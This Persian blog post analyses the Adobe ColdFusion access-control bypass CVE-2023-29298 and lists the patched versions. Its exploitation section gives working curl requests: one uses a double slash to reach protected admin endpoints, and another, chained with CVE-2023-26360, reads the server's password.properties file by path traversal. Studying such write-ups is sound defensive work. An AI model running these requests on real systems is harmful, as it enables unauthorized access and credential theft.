مهران سیفعلی‌نیا
مهران سیفعلی‌نیا
خواندن ۴ دقیقه·۱ سال پیش

دور زدن کنترل دسترسی در Adobe ColdFusion (CVE-2023-29298)

تیم امنیتی Rapid7 یه آسیب‌پذیری کنترل دسترسی روی ColdFusion پیدا کرده، اونم جایی که دسترسی به پنل و خدمات مدیریتی توسط درخواست‌های خارجی محدود شده. این کنترل دسترسی خارجی، یه لیستی از IP ها رو داره که فقط اون آدرس‌ها مجازن تا به Endpointهای مدیریتی روی ColdFusion دسترسی داشته باشن. وقتی یه درخواست از یه آدرس IP به سمت سرور ارسال بشه که تو این لیست نباشه، دسترسی به منبع مورد نظر ممکن نیست.(مثل اینکه این قابلیت پروفایل امنه) ?

از طریق این لینک می‌تونید یک پروفایل امن ایجاد کنید. پروفایل امن تنها اجازه میده تا آدرس IPهای خاصی اجازه دسترسی به مسیرهای حساس مدیریتی رو داشته باشن. ?


تاثیر آسیب‌پذیری

با توجه به این آسیب‌پذیری، هکر می‌تونه به تمام Endpointهای CFM و CFC در مسیر /CFIDE/ دسترسی پیدا کنه که شامل 437 فایل CFM و 96 فایل CFC در نسخه 2021 آپدیت 6 هست؛ این موضوع باعث از بین رفتن تضمین پروفایل امن در سرویس ColdFusion میشه. البته اینم بگم که دسترسی به این مسیرها به معنی این نیست که هکر می‌تونه از همه این منابع استفاده کنه و خیلی از اون‌ها قبل از اجرا شدن، نشست کاربر رو چک می‌کنن. با این حال تاثیری که دسترسی به این منابع می‌تونه داشته باشه، به شرح زیره:

  • ممکنه هکر به هر روشی داخل سامانه لاگین کرده باشه، پس می‌تونه از این آسیب‌پذیری برای دسترسی به تمام منابع استفاده کنه.
  • ممکنه باعث افشای اطلاعات حساس بشه
  • ممکنه بشه از آسیب‌پذیری‌های دیگه سوءاستفاده کرد، مثل CVE-2023-26360

آنالیز آسیب‌پذیری

خب، موقعی که یه درخواست خارجی به مسیرهای حساس زده میشه، کنترل سطح دسترسی اون درخواست‌ها رو محدود میکنه، درواقع کسی نمی‌تونه با یه درخواست خارجی، به این مسیرها دسترسی داشته باشه.

بعضی از Java Servletها کنترل سطح دسترسی رو روی منابع خودشون اعمال می‌کنن:

  • مورد coldfusion.CfmServlet که تمامی درخواست‌های ارسال شده به CFMها رو مدیریت می‌کنه.
  • مورد coldfusion.xml.rpc.CFCServlet که تمامی درخواست‌های ارسال شده به CFML و CFC رو مدیریت میکنه.
  • مورد coldfusion.rds.RdsGlobals که درخواست‌های RDS رو مدیریت می‌کنه.

قابلیت کنترل دسترسی در کلاس coldfusion.filter.IPFilterUtils تعریف شده که متد checkAdminAccess منطق مربوط به دسترسی رو اجرا می‌کنه که می‌‌تونید کدش رو در ادامه ببینید.

با بررسی این کد می‌تونیم متوجه بشیم که مسیری که بهش درخواست زده میشه با یک لیست مقایسه میشه و اگه اون مسیر، تو این لیست وجود داشته باشه، بررسی می‌کنه که آیا IP درخواست کننده در لیست آدرس‌های مجاز وجود داره یا نه؟ اگه درخواستی که به مسیرهای حساس زده میشه، از IP متفرقه باشه، یک خطا رخ میده و جلوی دسترسی ما گرفته میشه. ?

آدرس ارسال شده از طرف هکر با تابع java.lang.String.startsWith بررسی میشه که به راحتی میشه با اضافه کردن یه کاراکتر به اول مسیر، اون رو دور زد. اینجا با اضافه کردن یه / به ابتدای مسیر، به راحتی تابع دور زده میشه. برای مثال وقتی می‌خوایم به مسیر /CFIDE/adminapi درخواست بزنیم، چون این مسیر حساس هست و دسترسی بهش ممکن نیست ما به مسیر //CFIDE/adminapiدرخوست میزنیم و این مسیر دیگه حساس در نظر گرفته نمی‌شه چونکه تو لیست نیست!


بهره‌برداری از آسیب‌پذیری

بهره‌برداری از این آسیب‌پذیری، روی نسخه ColdFusion 2021 Update 6 (2021.0.06.330132) نصب شده روی Windows Server 2022 و با فعال کردن پروفایل امن برای دسترسی به مسیرهای حساس انجام شده و تنها آدرس مجاز، 127.0.0.1 هست. ما می‌تونیم به راحتی با یک دستور cURL مشخص کنیم که سامانه آسیب‌پذیره. برای مثال، ما میخوایم از تابع wizardHash استفاده کنیم و برای اینکار باید به Endpoint مربوطه ینی /CFIDE/wizards/common/utils.cfcیک درخواست cURL بزنیم. مطابق دستور زیر:

curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

همونطور که تو تصویر زیر مشخصه، امکان ارسال درخواست وجود نداره و ما خطای 500 گرفتیم.

حالا میایم و از دوتا Forward slash تو درخواست استفاده می‌کنیم:

curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

خب می‌بینیم که پاسخ 200 گرفتیم! ?

حالا میایم توی مرورگر و سعی می‌کنیم صفحه مدیریت ColdFusion رو باز کنیم. اما حتی این مسیر هم جزو مسیرهای حساسه و از اینترنت قابل دسترس نیست. ?

اما به راحتی با اضافه کردن یه / به ابتدای مسیر، صفحه باز شد! ?

اتصال آسیب‌پذیری CVE-2023-29298 به CVE-2023-26360

همونطور که دیدیم با استفاده از آسیب‌پذیری CVE-2023-29298 می‌تونیم کنترل دسترسی رو دور بزنیم، اما این مورد وقتی خطرناک‌تر میشه که با آسیب‌پذیری‌های دیگه‌ای Chain بشه، مثلا آسیب‌پذیری CVE-2023-26360؛ این آسیب‌پذیری منجر میشه بتونیم فایل‌های داخلی سرور رو بخونیم (البته میشه ازش به RCE هم رسید ولی اینجا باهاش کاری نداریم فعلا) برای خوندن فایل‌های داخلی، هکر باید حتما به یه CFC Endpoint معتبر درخواست بزنه. مشکل اینجا بود که کار هکر خیلی سخته چون اگه پروفایل امن فعال باشه، هکر نمی‌تونه به این Endpoint درخواست بزنه ولی الان می‌خوایم با استفاده از آسیب‌پذیری 29298 این مشکل رو رفع کنیم و فایل password.properties رو بخونیم. دستور cURL اون به این شکله:

curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

که البته بهمون اجازه دسترسی به این Endpoint داده نمیشه. ☹️

پس میایم و دستور زیر رو می‌زنیم.

curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

و نتیجه میشه خوندن فایل ?

خب دیدیم که با استفاده از دو آسیب‌پذیری CVE-2023-29298 و CVE-2023-26360 تونستیم بدون مجوز، فایل داخلی password.propertiesرو بخونیم. ?

راه‌های جلوگیری

برای رفع این مشکل فقط کافیه ColdFusion رو به یکی از نسخه‌های زیر آپدیت کنیم.

  • ColdFusion 2023 GA build
  • ColdFusion 2021 Update 7
  • ColdFusion 2018 Update 17

منبع

آسیب پذیریکنترل دسترسیباگ
زمانی که جوون بودم، کارشناس آزمون نفوذ و توسعه دهنده اسناد امنیتی بودم؛ الان که پیر شدم خستم، فقط می‌خوابم!
شاید از این پست‌ها خوشتان بیاید